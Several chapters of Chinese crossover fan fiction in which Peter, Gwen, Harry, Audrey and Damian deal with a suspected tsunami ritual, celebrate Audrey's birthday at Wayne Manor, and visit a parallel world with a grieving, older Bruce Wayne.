“我知道你是想安慰我，但听你这么一说，我反而觉得更惊悚了。”哈利整张脸都皱起来。 “也许在新加坡做什么太显眼了。帕特丽夏和奥德莉一样会传送，不需要过海关，完全可以随时去纽约，把我们全部干掉。”彼得说完，自己都被这个可能性吓到了。“我应该赶紧向复仇者联盟汇报一下。” “你说的比格温还可怕。”哈利给了彼得一个白眼。“听起来地球上已经没有我们的容身之地了。” “我同意格温的看法。甚至，这一切也许只是巧合。我原本也没打算声张，甚至连学校的教授也不打算联系，因为我不确定他们会站在哪一边。”奥德莉说。 双方都是密大的学生，在对方尚未做出任何实质性伤害校友的行为之前，奥德莉不想把事情闹大。至少在有明确的证据之前，她不想挑起冲突。 目前奥德莉所能确定的，只是帕特丽夏拥有特殊的血脉。至于是否涉及杀人、是否真的意图威胁自己，这些都还只是奥德莉的推断，没有确凿的事实支撑。 “最后一批美拉尼西亚人离开陆地，是不是在1672年左右？”彼得忽然说。 “差不多就是那个年代。怎么了？”奥德莉问。 “根据历史记载，马鲁古群岛附近有一处海域曾经发生过几次海啸，最近的一次是在1672年。每次海啸都造成了严重伤亡。几年前，科研人员对那里进行探测，试图预测未来的海啸风险。但根据地质数据推算，那片海域地质极其稳定，没有板块交界，按理说根本不该发生海啸。”彼得看着电脑屏幕上的论*文。 “所以，神庙通道被打开时会引发海啸？”奥德莉本来以为这只是个不会造成伤亡的仪式，不想去插手，却没想到帕特丽夏隐瞒了部分关键信息。印斯茅斯镇的深潜者回归海洋时并没有什么异象，因此奥德莉没想到过这些。 “也许可以用卫星监测，一旦发现异常，立刻疏散居民。”格温说。 “这是个不错的主意。”彼得赞同道，已经开始给钢铁侠写简要报告了。 奥德莉也赶紧给达米安发信息，除了建议正义联盟用卫星加强监控，她还特别提议请海王关注此事。 哈利看着两位忙着发信息的朋友，半开玩笑地对格温说：“我忽然觉得，我也该准备一些防身装备了。我可不想成为总是等着骑士拯救的公主。” “就像佩珀女士，她的本职工作依然是管理斯塔克工业，但她随身携带一套纳米战甲。”彼得一边打字，一边头也不抬地说。 格温说：“我也需要一些自保的手段。希望你不要介意我这么说，但奥斯本先生的绿魔装备挺先进的，我们可以拿它当基础，继续改进。” “有道理。那些战衣、滑翔机和南瓜炸弹，如果闲置的话真是太浪费了。”哈利眼睛一亮，和格温热烈地讨论起来。 奥德莉和彼得发完信息，也加入了讨论。 “奥斯本集团的超级血清也是很成熟的技术了，没有副作用，只是需要定期注射，否则会代谢掉。”哈利说。“彼得不能打，我担心血清和会他的变异产生冲突。但我们三个都可以注射。” 奥德莉摇摇头，说：“我还是算了，我可能也有点变异血脉，不想因为强化身体机能而影响我的无形之术。” “我想试试。”格温说，露出一个狡黠的笑：“如果有人想要用我来威胁彼得，我很期待能给对方一个‘惊喜’。” “我们回去之后再仔细研究，看看有什么需要改进的，以及如何延长注射周期。”哈利和格温一拍即合。 “他们俩一定会是扮猪吃虎的佼佼者。”奥德莉和彼得相视一笑。 第88章 在新加坡的度假时光平静地结束了。帕特丽夏没有再出现，这让奥德莉在坐…… 在新加坡的度假时光平静地结束了。帕特丽夏没有再出现,这让奥德莉在坐上返程飞机时心情格外复杂。她依然不知道事情的真相，不确定自己是太多疑还是太天真，又或者是太愚蠢。 她不得不调整心态,让自己习惯这种悬而未决的状态。很多事情就是暂时没有答案,甚至永远没有答案。她不喜欢这种不确定性,但不得不去适应。 无论如何，奥德莉觉得这趟旅行并非毫无收获。她第一次开始用审慎的眼光看待拥有“调查员”身份的人，不再像以往那样抱有盲目的信任。 哈利和格温都找到了新的方向。他们身上萦绕的倦怠感悄然消失了,又一次变得干劲十足，充满对未来的期望。 彼得也终于得偿所愿。在莉莉和约翰的反复劝说下，梅姨终于决定减少工作量。虽然她现在离退休还有些早，但同意少上夜班,不再执着于为彼得攒钱。 回到纽约后,奥德莉又享受了几天暑假，才迎来了开学的日子。 大三这一年,奥德莉和爱丽丝仍是舍友。两人在暑假时身处不同城市，偶尔打电话交流彼此的实习经历和见闻。开学后，她们根据自己的实习体验选了感兴趣的课程,讨论起彼此的课表时,不约而同地感慨：想学的课程太多，而时间似乎永远不够用。 在繁忙的课业间歇，奥德莉总会抽出一点时间去关注好友们的动向。她订阅了《号角日报》的网络版，以此了解纽约本地新闻。虽然这家报社以标题党和一贯的“蜘蛛侠背锅论”闻名，但胜在消息快、料多,而且文字足够戏剧性。反正彼得对这家报社也没什么意见,还偶尔会拍自己的照片卖给报社赚点外快。 这一天的头条令奥德莉好奇地点进去：【绿魔重现？曼哈顿干预劫案！】 据报道，有目击者称,几名劫匪试图绑架奥斯本集团的现任总裁，却被从天而降的绿魔制服后扔到了警察局门口。 记者在文末是这样写的，语气中隐隐透着对金钱的羡慕： “或许每一位超级富豪身边，都有一位愿意为他倾注时间与关注的超级英雄。只要足够有钱，连超级恶棍也能改邪归正，只为一人俯首称臣。 如果你自认为已经足够富有，不妨先环顾四周，看看是否有一位超级英雄守护在你身边。 如果没有，说明你还不够富。” 奥德莉笑得肚子疼，难道超级富豪的命运注定是水仙吗？她立刻把新闻转发给哈利，留言说：“我是不是很快就能看到你和绿魔的同人文了？” 哈利郁闷得五分钟没有理奥德莉。 奥德莉毫不气馁，手速惊人地打字，用土味文学对哈利实施精神攻击： “他，是曼哈顿的西装总裁， 他，是一度踏上歧途的绿衣人， 纽约的摩天大厦之间，在滑翔机上的惊鸿一瞥， 让全城见证了他的重生。 他充满仇恨的心，被另一个人温柔唤醒。 奥斯本大厦的Logo也不及他的眼眸璀璨。” 发完之后，她又补充一句：“标题就叫《霸道反派爱上我》。” 哈利还是毫无动静，奥德莉怀疑他被自己气晕了，正打算再写一段，哈利终于回复了：“我要做什么才能让你停下来？” “让绿魔多救你几次，为我提供点素材和灵感？”奥德莉诚恳地说。 哈利泪流满面：“我要去收购《号角日报》，然后扣那位作者的工资。” 奥德莉笑着放下手机，去写作业了。 格温倒没有登上新闻，但也有两次惊心动魄的经历。 第一次是意外事件，发生在奥斯本集团的实验室。一名激进的实验员私下对自己做了未经完善的生物改造，然而事情发展并不如那人所愿，他丧失了理性，在实验室里陷入疯狂状态。 混乱中，格温果断地拉响警报，指挥其他实验员撤离。与此同时，彼得已经悄悄换上蜘蛛侠战衣，敏捷地冲上去和失控者缠斗起来。 彼得想让格温也离开，但格温担心实验室里昂贵的科研设备和重要的研究数据遭到破坏。好在格温的身体已经被强化，力量和反应速度都远超常人，她和彼得联手将失控者逼到实验室的角落，十几分钟后终于将失控者制服。 哈利听闻此事后，立刻对格温说：“任何设备都比不上你的安全重要，别再冒险了。” 他的神情冷峻，语气严肃，但格温听出了他的担忧和关切，保证说：“我心里有数。如果事情超出了我的能力范围，我一定会撤离的。” 奥德莉对格温充满信心，特意打电话兴致勃勃地追问战斗细节，听完之后又连夸了格温十分钟，到最后格温都有些不好意思了。 第二次则更加惊险，格温觉得自己与死亡几乎是擦肩而过。 起因是一位痛恨蜘蛛侠的反派，在发现格温与蜘蛛侠关系密切后，选择将她作为报复的目标。风雨交加的夜晚，他绑架了格温，将她带到一栋摩天大楼的尖塔上，然后在蜘蛛侠终于赶到时猛地将她推下去。 那一刻，格温看着世界在眼前倒转，拼命想抓住什么，却一次又一次落空。就在她几乎绝望的时候，她看见彼得以比她更快的速度向下俯冲，用蛛丝缠住她的身体，将她牢牢拉入怀里。 两人一起撞落在地面上时，格温听见彼得因为冲击力压出来的闷哼，他用身体替她承受了全部的坠落动能。彼得躺在格温身下，咳嗽了两声，最后喘息着说：“斯塔克工业的减震器质量真不错。” 格温脸上混着雨水和泪水，紧绷的神经在听到彼得的声音时忽然放松了。她扑哧一声笑了，徒劳地用袖子去擦彼得面罩上的雨水。 奥德莉听说这件事的时候被吓坏了，尽管已经是深夜，还是立刻传送到纽约。格温正在卧室看书，忽然听见有人敲自己的窗户，抬头一看竟然是奥德莉。 “你怎么爬上来的？”格温急忙放下书，走过去打开窗户，然后便知道了答案。“彼得，你送她来的。” “她说这么晚的时候走正门拜访，你的家人会担心。”彼得无奈地摊手。“我还有事，先走了。” 奥德莉从窗台上跳下来之后，立刻紧紧地抱住格温，仿佛要确认她的存在。几秒钟后，她又松开格温，认真地上下打量。 “我没事，你看，我好好的。”格温笑着说。她仍觉得有点后怕，但并没有因此留下什么心理阴影。 奥德莉没说话，只是又一次抱住格温，两人静静地拥抱了一会儿。 之后，她们一起靠在床上，挤在一条柔软温暖的毯子下面，小声地聊了许久。 达米安在哥谭上大学，但和奥德莉保持了密切的联系，两人明明在各自忙碌，明明相隔很远，却又在对方的生活里占据了重要的位置。 奥德莉生日那天恰好是周六，她回到在纽约的家，和父母一起吃了午饭。这学期她沉迷学习，周末通常都在图书馆里度过，难得决定给自己放半天的假。 达米安提前几天就开始旁敲侧击地打听奥德莉的安排。由于他的表现太过自然，奥德莉起初并没有察觉，反应过来后哭笑不得：“你不会打算捧着礼物出现在我家门口吧？” “可以吗？”达米安故意装傻，期待地问：“除了礼物，我还可以带花吗？” “你可以试试。”奥德莉用威胁的语气说。 “我听老板的安排，绝不擅作主张。”达米安立刻说。 “其实，我有点好奇哥谭的冬天是什么样的。”奥德莉眨眨眼，语气轻快。“如果周六那天你有空的话，我可以在下午晚些时候去找你。” 话音刚落，达米安那双绿眼睛立刻亮了起来：“我有空。” 尽管隔着屏幕，奥德莉也能清楚感觉到达米安的喜悦。自从达米安的生日之后，他们就没再当面见过。 达米安很清楚奥德莉的传送能力，她随时可以到哥谭、到韦恩庄园，甚至瞬间出现在他的身边。可他从未催促过她，也从不以任何期待的言语给她施加压力。他完全尊重奥德莉的节奏，默默等待她愿意靠近的时刻。 “狗狗猫……”奥德莉不自觉地喃喃自语。 另一端的达米安没有听清楚，问：“什么？” 奥德莉意识到自己说了什么，有点不好意思，立刻转换话题：“我说，你和保险柜一起等我。” “其实……”达米安顿了一下，眼神突然有些闪躲，似乎也不好意思起来。 “怎么了？之前你不是说过，准备了一台最新的保险柜等我开锁吗？” “每次有想送给你的东西，我就把它放进去，很快就放满了。后来我又买了几台不同款式的，所以现在是五台了。”达米安说。 “呃……”奥德莉无语了一瞬。“谢谢你，我很感动。但我更好奇的是，你的房间现在是不是已经变得跟银行保险库差不多了？” 第89章 奥德莉到达韦恩庄园的时候，达米安正在自己的起居室里看书。他特意穿着…… 奥德莉到达韦恩庄园的时候,达米安正在自己的起居室里看书。他特意穿着带帽子的卫衣，因为他发现奥德莉很喜欢看他这么穿。 达米安敏锐地捕捉到一丝轻微的风声，却连头都没抬一下,只是若无其事地盯着手里的书,动作自然地往旁边挪了一下,为奥德莉腾出空间。 一双温暖的手捂住他的眼睛。达米安眨眨眼，长长的睫毛刷过对方的手心。 “猜猜我是谁？”奥德莉故意模仿蝙蝠侠的低沉音色。 “唔……”达米安沉吟，“猫猫狗？” 奥德莉立刻用右手握成拳头,轻轻敲了达米安的脑袋一下，让他精心打理的头发出现了一丝不完美。达米安没有躲闪，而是顺势抬手握住奥德莉仍捂住他眼睛的左手。 “不要对劫匪这么无礼。”奥德莉没有抽出手，依然压低声音。“我是来打劫的,快把这里最值钱的东西交出来。” “最值钱的？已经在你的手里了呀。”达米安用高傲的、骄矜的语气说。 “你真是大言不惭！”奥德莉悄悄地揉乱了达米安的头发。“我指的是保险箱。” “你怎么能只要金蛋,不要下金蛋的母鸡呢？”达米安批评劫匪胸无大志。 “好吧，让我先验验货,再决定要不要。”奥德莉把达米安拉起来，达米安顺从地站起身，低头去看奥德莉。 时间和空间仿佛从未在他们之间划出界限和隔阂,他们依然相处自然,轻松而愉悦。 “你又长高了。”奥德莉惊叹。 “几厘米而已。”达米安心里得意，语气却轻描淡写。他低下头，绿色双眼凝视着奥德莉，说：“生日快乐。” 这样看人真是太犯规了。奥德莉这样想着，还是放纵自己在那双绿眼睛中沉迷了五秒钟,然后清清嗓子,说：“谢谢。” 达米安偷笑了一下，带着奥德莉朝储物间走去,说：“我要为我的房间正名，它还是一贯的布局合理。” “真的吗？”奥德莉四处张望。 事实上，起初达米安把几个保险柜直接摆在床边，方便他随时往里面塞东西。这种可怕的布局很快引起了阿尔弗雷德的不满，管家看了一眼整齐排列的金属柜，又看看房间里欧式古典风格的家具，飞快地扭过头，仿佛再多看一眼就要视力受损。 阿尔弗雷德语气平淡地抱怨：“就算是暴发户，也没有这么干的。还是说您打算用它们取代床头柜？” 达米安刚想反驳，“路过”门口的迪克出言附和阿尔弗雷德的评论：“这是我见过的最难看的室内布置，而我小时候可是在马戏团长大的。” 布鲁斯“恰好”从达米安门口走过，露出一个欲言又止、止言又欲的复杂表情，最后说：“这是你想出来的防贼策略吗？把保险柜放在最显眼的地方，让贼以为这是个陷阱。” 回家蹭饭的杰森“正巧”听见了几人的对话，趁机嘲笑布鲁斯：“你看，我就说韦恩庄园的安保该升级了，达米安已经担心得用保险柜来放衣物了。不过他倒真像你，很有自我保护意识。” 杰森说着，将粗壮得能活活勒死一头牛的胳膊环在胸前，身体站得笔直，摆出一个生人勿近的姿势：“还记得吗？蝙蝠侠刚跟着正义联盟一起接受记者采访的时候，有记者问他，很多男人喜欢他，他有什么看法。” 众人立刻回忆起那次的新闻。蝙蝠侠面对记者的逼问，以类似杰森此刻的姿势站在台上，冷酷无情地说：“我没有看法，不感兴趣。” 布鲁斯的意思是蝙蝠侠对恋爱没兴趣，想以此劝退他人，结果哥谭记者脑洞大开，将蝙蝠侠双手环胸的站姿照片印在头版，并配上两行粗体字的标题： “蝙蝠侠冷傲退基佬 表明立场免惹麻烦” 布鲁斯想起这件陈年糗事，脸立刻黑了。他正想说什么，提姆“无意间”走到附近，严肃地指责杰森：“你一点也不了解自己的兄弟。他根本不是担心有人对他劫色。我敢说，他放在保险柜里的一定是写满心事的日记。” 达米安很想把这几位统统关到门外，但最后他还是妥协了，把保险柜搬到了储物间。 阿尔弗雷德满意地点点头，转身离开了，假装没有听见身后五个人在唇枪舌战、互相嘲笑黑历史。 达米安靠在一边的墙上，望着奥德莉很轻松地打开了几个制造商声称密不可破、绝对安全的保险柜。在她装模作样的几下操作之后，指纹识别、虹膜扫描和密码联动系统都仿佛不存在一样，没有对她造成任何阻碍。 奥德莉十分骄傲，说：“请叫我‘飞天大盗’。” 达米安很捧场地夸奖起来，然后催促奥德莉去看里面的东西。达米安并没有选择购买各种高奢珠宝去填满保险柜，那样太浮夸、太不走心，也不符合奥德莉的喜好。 他只是默默地收集那些想要送给奥德莉的东西，它们或是让他在看到时会想起奥德莉的，或是他觉得奥德莉会喜欢的。它们有些价值不菲，有些只是街边店铺中的小玩意，但都被他仔细地放在保险柜里，仿佛也封存了他那一刻的情感。 奥德莉仔仔细细地看完每一件礼物，挑了一些，对达米安说：“这些我先带走，剩下的拜托你继续帮我保存着。” 达米安郑重地点点头，说：“你介意我接下来用普通的柜子存放它们吗？” 奥德莉忍不住笑起来：“请一定不要再买更多的保险柜了。” 她看看时间，还没开口，达米安便先问了：“你打算几点回去？” 奥德莉说：“八点吧。” 达米安“嗯”了一声，说：“那你想去老城区走走吗？你说过想看看冬天哥谭的样子。” 奥德莉仔细打量了达米安一眼，见他神色如常，眼神真挚，忍不住伸手戳戳他，轻声说：“我又不是从夏威夷来的。冬天的景色，纽约和波士顿的我还没看够吗？” 达米安愣了一下，随后才反应过来。奥德莉的意思几近直白——她来哥谭根本不是为了看什么风景，而是为了看自己。 达米安忽然觉得屋里的暖气温度可能太高了，他冷静了一下，然后问：“那你想做什么？我陪你一起去。” “你想和我多待一会儿吗？”奥德莉反问。 达米安纠结起来。这个问题仿佛是钓鱼执法，无论怎么回答都可能出错。如果他说“不想”，那当然是天大的谎言，而且奥德莉听了肯定会不高兴。但如果他说“想”，却又似乎是在对奥德莉提出过分的要求，打乱她已有的日程安排。 他最后有点撒娇似地说：“不敢想。” 奥德莉很吃他这一套，直白地说：“我敢。”她狡黠一笑，说：“你忘了我们的时间转换器了吗？” 达米安看着奥德莉从包里拿出羊皮卷和仪式材料，没意识到自己笑得有多开心，还在假装冷静地问：“去哪个世界？” “我们的选择不是太多，我在七点钟的世界里选了一个。希望它会有趣。”奥德莉说。“保险起见，我还带了点防身的东西。” 达米安也迅速地带上了自己的常用装备，然后期待地看着奥德莉布置仪式，像一只乖巧的大猫一样等在旁边。 “好啦，我们出发。”奥德莉牵起达米安的手，兴冲冲地说。 下一刻，两人依然站在原地，奥德莉诧异地环顾四周，不确定地说：“我们为什么还在你的房间？” 话刚出口，她又立刻否定了自己的判断：“不，这不是你的房间。虽然家具看着相似，但细节上有许多不同。” 达米安说：“这间屋子倒很像是我刚来哥谭时，阿福布置的样子。在没有什么个人用品的时候，它大概就是这样。” /：. 然而，当两人仔细打量这间屋子时，他们意识到这里更像是被荒废了，因为墙纸边缘暗黄开裂，家具上布满灰尘，空气中甚至有一点陈旧的霉味。 “难道我们穿越到未来了？那这个未来也太可怕了。”奥德莉有点不安。“我们去客厅看看有没有报纸杂志，判断一下日期。” 他们走出房间，发现外面的情况更加糟糕，走廊另一侧的许多房间甚至被严重地损毁了，像是经历过爆炸或剧烈撞击。 “我们去房子外面看看。”达米安说。 外面的庭院布置让两人越发肯定这里的确是，或者说曾经是，韦恩庄园。他们穿过自由生长的草地和灌木，来到一片寂静的湖泊前面，然后看到了旁边的一幢玻璃房子。 “这个房子的设计师是不是有暴露癖？”奥德莉还是第一次看到所有墙壁和隔断全部由透明玻璃制成的房子。整幢房子根本没有什么“私密空间”的概念，室内的摆设一览无遗。 虽然附近看起来荒无人烟，但人住在里面难道不会被本能的羞耻感压垮吗？ 达米安也被震惊了：“阿福怎么会容忍这样的东西存在于韦恩家的土地上？” 两人正在窃窃私语时，一个蓝眼睛的男人悄然出现，仿佛一直都在门口，只是他们直到此刻才注意到。 男人十分高大，至少超过一米九。他穿着剪裁合体的浅蓝色衬衫和深灰西装马甲，扣子系得整整齐齐。 “韦恩先生？”奥德莉犹豫地问。直觉上她觉得这个人很熟悉，但他的样貌与自己世界的布鲁斯非常不同，而且眼前这个人年纪更大，鬓发已经白了。 她仔细看着眼前的人。如果说她熟悉的布鲁斯是哥谭王子，那这位韦恩先生就是哥谭国王，整个人散发着成熟的、颓然的魅力，就像一朵开到荼蘼的牡丹，眉眼间带着疲倦。 或者，如果用一个大胆的比喻的话，奥德莉认为布鲁斯的画风是《恋恋笔记本》，而韦恩先生是《五十度灰》。 天啊我在想什么！奥德莉赶紧叫停自己的胡思乱想。 “你们是谁？这是擅闯私人领地。”对方故作惶恐不安地说。 接着阿尔弗雷德也出现了，他比奥德莉认识的那一位更瘦削些，眼神犀利。 “我们来自平行世界。我们没有恶意，只是想在哥谭消遣一天就回去。”奥德莉简单地自我介绍。“我是奥德莉，他是达米安。” 第90章 韦恩先生对“达米安”这个名字毫无反应，又或者他只是掩饰得太好，精湛…… 韦恩先生对“达米安”这个名字毫无反应,又或者他只是掩饰得太好，精湛的表演将每一丝情感波动都封进了平静的表情下面。他没有表示是否相信奥德莉的话，只是说：“那你们应该去哥谭市区,而不是来这里。” “我们无法控制着陆地点,到达时便在庄园的房间里了。”奥德莉解释道。“那幢房子是怎么回事？” “被人毁了。”韦恩先生轻描淡写地说,仿佛对祖辈传下来的老宅毫不在意。“何必去修呢？反正只有我们两个人住。” 他身后的阿尔弗雷德因这句话而皱起眉，但没有说话。 “阿福，帮他们叫一辆出租车去市区吧。”韦恩先生说。他与两人分别握了握手,转身离开了。 阿尔弗雷德打电话约了车，然后站在门口陪两人等待，完全没有请他们喝一杯茶的意思。 奥德莉问：“您是韦恩先生的管家阿尔弗雷德，对吗？” “是的。”阿尔弗雷德简短地回答。 “现在是哪一年？” “二零一六年。” “冒昧地问一下,韦恩先生有几个孩子？” 阿尔弗雷德依然优雅而冷淡：“这不是什么秘密。他有两个养子。” 奥德莉瞥了一眼达米安,见他没什么反应，又接着问：“韦恩先生看起来心情不太好？” “他只是最近太疲劳了。”阿尔弗雷德叹息着说。“超人死之前的那场战斗毁坏了哥谭的不少建筑,韦恩集团正在积极地帮助民众重建家园。” “超人？死了？”奥德莉为这两个词出现在同一句话里而震惊。她一直以为超人是几近于永生不死的存在。 “是的，即使是超人也并非不死之身。”阿尔弗雷德说。 “那正义联盟怎么办？由蝙蝠侠担任主席吗？”奥德莉担忧地说。 “正义联盟？我没听说过这个组织。”阿尔弗雷德说。 “这个世界有蝙蝠侠，对吗？”达米安问。 “是的。”阿尔弗雷德说,发现眼前的两个年轻人明显松了一口气。 出租车来得很快。阿尔弗雷德替两人付了车费,不动声色地盯着他们坐进后座。 奥德莉打开车窗，探出头说：“能借我们点现金吗？不过我可能没机会还给您了。” 阿尔弗雷德因为这个要求而愣了一下，但并未拒绝，从钱夹里取出数张百元大钞递过去。 “谢谢您。”奥德莉从包里掏出一个护符递过去。护符由细线编织，中央是一块浅蓝色的金属,散发着令人感到安宁的气息。“这是我做的,可以增加人的理性，让人在思绪烦乱时更容易平静下来,有助于安稳入睡。请您收下。” 阿尔弗雷德接过护符，点点头：“祝你们玩的愉快。” 奥德莉转身坐回座位，抽了几张钞票递给达米安：“来，给你的零花钱。” 达米安哭笑不得地接过，说：“谢谢老板，你真是慷慨。”他对着奥德莉晃晃手腕，露出袖口下的镶钻腕表，小声说：“我也考虑到了钱币不通用的问题。” 奥德莉指了指自己的铂金项链，两人一起笑起来。 两人在老城区下了车，从报刊亭买了几张报纸，很快了解了这个世界的情况。 “这个世界的卢瑟利用萨德将军的尸体造出了毁灭日，导致了超人的死亡。”达米安简直不敢相信自己读到了什么。 一个从未亲自踏上战场的商界巨头，靠着拥有九级智慧的大脑与疯狂的执念，成功重组氪星基因，制造出了几乎摧毁两个城市的怪物。超人自己很可能都做不到这件事。 看来不管是哪一个世界的卢瑟，对氪星人的了解都比氪星人自己还透彻。 “萨德将军是谁？”奥德莉好奇地问。 “一个氪星人。” “我以为超人是氪星遗孤，唯一的氪星人。”奥德莉对超人的印象还停留在一个比较过时的阶段。 “早就不是了，最近几年出现了超女。”达米安提醒道。“我们的世界也有萨德将军，他是超人最强大的敌人之一。” 达米安省略了其他并非“纯血统”的氪星人，比如卢瑟用自己的基因和超人的基因结合制造出的康纳，再比如超人和妻子生下的孩子小乔纳森。 “哈，这个卢瑟还是不够聪明，没有隐藏好证据，最后进监狱了。”达米安读完新闻，对着光头卢瑟身着囚服的照片嘲笑了一句，把报纸仔细折好塞进大衣内兜，打算带回去给大家共赏。 卢瑟堪称亦正亦邪，大部分时间很烦人，但偶尔也做一些好事。他对超人的针对源于他的人类至上主义，但种种行为更像是爱而不得的私生饭。 超人对这位中学同学的感情很复杂，嘴上经常抱怨，打架时优先去砸卢瑟集团的大楼，在卢瑟真正遇险的时候却还是勤勤恳恳地去救他，然后被卢瑟嫌弃他是氪星救援犬。 如果超人知道平行世界的卢瑟进了监狱，估计会喜闻乐见，连声感谢拉奥。 “你觉得超人是真的死了吗？”几乎所有报纸的头条都印着超人陨落的消息，奥德莉望着那些照片，仍觉得没有真实感。 “也许什么时候就复活了。”达米安倒不担心。“希望他们把他的身体放在一个阳光好的地方。” “你把他形容得像个太阳能路灯。”奥德莉不太认真地抱怨了一句。“韦恩先生的状态看着不太好，我有点担心他。” “他的心情不好，但动作仍然能瞒过你的眼睛。”达米安从奥德莉和自己的身上分别取下一枚定位器。“他才不会相信你说的话，更不会这么随意地把两个奇怪的人放走。别看那座玻璃房子平平无奇，四周肯定布满了警戒装置。我们两个悄无声息地出现在那里，他一定非常震惊。” “那我们如果带着定位器回家，在他看来就是定位器凭空消失了吗？”奥德莉尝试着回忆，却完全想不通韦恩先生是如何手法巧妙地把定位器留在他们身上的。她有点坏心眼地想给韦恩先生留下一个未解之谜，但一想起对方的疲倦模样，又不忍心起来。 达米安明白奥德莉的想法，提议道：“我们回去之前，可以再去韦恩庄园看看他。就算他不在家，至少可以和阿尔弗雷德聊聊。” “但我要先声明，我可一点也不担心韦恩先生会彻底颓废。就算我们什么也不做，他也能自己调节好情绪。”奥德莉发表狂热粉丝言论，笃定又自豪地说。“我只是希望在这个过程中，他能少受一些痛苦。” 达米安对奥德莉的言论毫不意外，如果她不这么说，他才会惊讶。同样地，他也相信韦恩先生不会就此倒下。 但他也注意到韦恩先生与自己父亲的不同——父亲并不饮酒，通常用姜汁汽水作为香槟的替代品，至于韦恩先生：“他身上有一些酒味，你发现了吗？” “是的，要么是宿醉，要么是一大早就开始喝了。还有明显的黑眼圈。”奥德莉点点头。“他似乎对酒精有依赖。所以我才把护符交给阿尔弗雷德。” “但他很可能把它翻来覆去地检查一遍，最后锁进铅盒里。”达米安指出这一点。 “而在这个过程中，护符已经开始起效了。”奥德莉毫不在意自己的好意会被放在显微镜下研究，语气里透着得意，“理性，就是从思考那一刻开始回归的。” “你真机智。”达米安赞许地说。 奥德莉又惋惜地感慨：“韦恩先生那么大年纪了，才领养了两个孩子。不知道小达米安出生了没有。” 达米安对此事也颇有微词。他怀疑这个世界甚至没有刺客联盟，因为韦恩家的二儿子死了很多年了，红头罩却还没出现，疑似因为没有拉撒路池水而未能复活。他直白地说：“也许他压根不会存在。” 奥德莉立刻说：“那是这个世界的损失。” 两人在城区闲逛了一会儿，吃了顿午饭。这个世界的哥谭与他们所熟悉的版本相似，街头依旧人来*人往，喧嚣不减。哥谭人的生活并未因超人的死而发生明显变化，不像隔壁的大都会，沉浸在哀悼与伤感的气氛中。 “只要蝙蝠侠还在夜巡，哥谭人就不太在乎别的。”奥德莉感叹。“可惜我们不会在这里久留，看不到夜晚才出现的蝙蝠侠了。” “这是一位没有罗宾的蝙蝠侠。”达米安说。“曾经有过，现在失去了，这比从来没有过更令人难过。” 两人又乘车去了韦恩庄园。阿尔弗雷德在门口迎接他们，大概是看到了定位器的移动轨迹。 “我们是来送还这个的。”奥德莉把两枚定位器递给阿尔弗雷德。“虽然带走当个纪念品也挺好的，但没必要浪费资源。” 韦恩先生有点尴尬地出现了。他的眼神还是那样的温柔又疲惫，像一尊外表华美但内里布满细小裂纹的古董花瓶，仿佛再受一点外力撞击就会变成一地的碎片，又好像能在时间的洪流里再熬过千百年的风霜。 他真诚地说：“谢谢你的护符。” 莫名其妙地，奥德莉觉得韦恩先生的身上有一种说不清的沉默和笨拙感，就好像他一直活在某种内疚里，生怕再伤害到谁似的。 她张了张嘴，最后却什么也没说出口。她不了解这位蝙蝠侠的过去——他一定失去了父母，这是她见到的所有的蝙蝠侠都拥有的共同命运；他也失去了儿子，也许还失去了更多的、她无从知晓的重要之人。 达米安忽然开口了：“作为另一个蝙蝠侠的儿子，我想告诉您，不管发生了什么，您的孩子一定是很爱您的。” 韦恩先生没有回答，他的眼圈似乎红了，但那也许只是熬夜和疲劳所致。几人再次陷入沉默。 最后，奥德莉说：“保重。” 望着两个年轻人举行仪式后离开，阿尔弗雷德叹了口气。他拍拍布鲁斯的上臂，说：“该出发了，老爷。” 超人死后，布鲁斯和神奇女侠决定组建一个保护地球的队伍。他们心里有了几个人选，布鲁斯打算先去寻找隐居的海王。 “谢谢你，阿福。”布鲁斯顿了一下，说：“卧室的那些酒，帮我清理掉吧。”【你现在阅读的是 】 90-100 第91章 “我以为韦恩先生在听说你的身份之后，哪怕不承认自己是蝙蝠侠，也会多…… “我以为韦恩先生在听说你的身份之后,哪怕不承认自己是蝙蝠侠，也会多说点什么呢。”回到自己的世界后，奥德莉忍不住小声嘀咕。“他为什么话那么少？” “可能他太老了,觉得我们年纪小,有代沟,没什么好聊的。”达米安也吐槽了一句。 “嘿，怎么能用‘老’字去形容他？他那是风韵犹……哦不，充满成熟魅力。”奥德莉不满地说。 “你没说完的那个词是‘风韵犹存’吧？”达米安瞪圆了绿眼睛。他刚才就发现了,奥德莉一直盯着韦恩先生看个不停。 “你听错了。”奥德莉矢口否认。“你自己说的，英语不是你的母语。” “可你之前还说韦恩先生‘年纪大’。”达米安指出。 “那只是相对布鲁斯而言。”奥德莉说。“蝙蝠侠就算是七十岁，也绝不能用‘老’这个词来形容。” “那你要怎么描述他的年龄？”达米安诚恳提问。 “虽然政治正确的词汇在美国现任总统的折腾下已经濒临消亡了，但在形容蝙蝠侠的时候,我只能接受说他‘有经验’、‘比较有经验’或者‘极度有经验’。” 达米安非常好学,继续提问：“那蝙蝠侠过了七十岁之后，算是‘极度有经验’吗？” 邪恶的教师奥德莉眯起眼睛,警告说：“再提问的话，放学后留下来看美国队长的爱国教育录像，连看三小时,禁止快进。” 达米安只好放弃对英语的好学热情,默默地看着奥德莉将羊皮卷珍惜地收好。 最后，奥德莉对韦恩先生做了总结：“看来他比较慢热。或者是不再轻易敞开心扉。” 这次达米安没有再故意和奥德莉斗嘴，他点点头，说：“他的防备心很重。” “好啦，我要回学校了。”奥德莉指了指达米安帽衫上“GothamUniversity”（哥谭大学）的字母,说：“这件衣服不错,深红色很衬你的眼睛。” 达米安轻轻笑了一声，看着奥德莉忽然靠近,把卫衣的帽子为他戴上，说：“下次见。” “下次见。”达米安说。 达米安得到了意料之外的相处时间，本以为会心满意足，却发现自己贪心地想要更多。但他知道不能沉溺在异世界的相处时光里，只能装作若无其事地看着奥德莉整理背包，和自己告别，然后从房间中消失。 达米安沉默地在安静的房间里坐了一会儿，然后起身去为夜巡作准备。刚一打开房门，他便看到了布鲁斯。 “奥德莉离开了？”布鲁斯已经看到了监控提示，却假装自己只是路过随口问一句。 达米安看看自己的父亲，忽然像小时候一样冲过去抱住他。布鲁斯有点吃惊，但很高兴地回抱住对方，并开始回忆过去：“你刚来的时候，还没有一米高，连我的腰都没到。那时候你抬头看着我，还说我没有你想象的高。不过直到现在你的身高也还没超过我。” 好吧，自己的父亲倒是话多，但是经常哪壶不开提哪壶。达米安在布鲁斯看不到的角度撇了撇嘴。 